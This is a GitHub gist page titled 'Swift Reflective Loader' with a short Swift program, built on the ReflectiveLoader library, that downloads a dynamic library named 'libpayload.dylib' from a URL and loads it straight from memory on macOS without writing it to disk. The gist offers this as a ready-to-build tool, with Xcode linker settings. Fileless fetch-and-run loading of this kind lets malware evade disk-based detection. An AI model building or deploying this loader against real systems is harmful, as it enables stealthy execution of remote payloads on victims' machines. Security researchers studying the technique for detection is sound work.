Created
January 8, 2025 15:51
-
-
Save 0xBruno/0e14ad6bf95437dc9ba9673269ebf2bf to your computer and use it in GitHub Desktop.
Swift Reflective Loader
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Required files: | |
| // - custom_dlfcn.h https://github.com/pwardle/ReflectiveLoader/blob/main/PoC/PoC/custom_dlfcn.h | |
| // - libloader.a https://github.com/pwardle/ReflectiveLoader/tree/main/Distribute | |
| // Required Xcode settings: | |
| // - Build Settings > Linking - General > Other Linker Flags -> "-lc++" | |
| // - Build Phases > Link Binary With Libraries -> "libloader.a" | |
| import Foundation | |
| @_silgen_name("custom_dlopen_from_memory") | |
| func custom_dlopen_from_memory(_ mh: UnsafeRawPointer?, _ len: Int) -> UnsafeMutableRawPointer? | |
| let url = URL(string: "http://localhost/libpayload.dylib")! | |
| if let data = try? Data(contentsOf: url), data.count > 0 { | |
| data.withUnsafeBytes { rawBufferPointer in | |
| guard let ptr = rawBufferPointer.baseAddress else { | |
| print("Failed to get buffer address") | |
| return | |
| } | |
| custom_dlopen_from_memory(ptr, data.count) | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment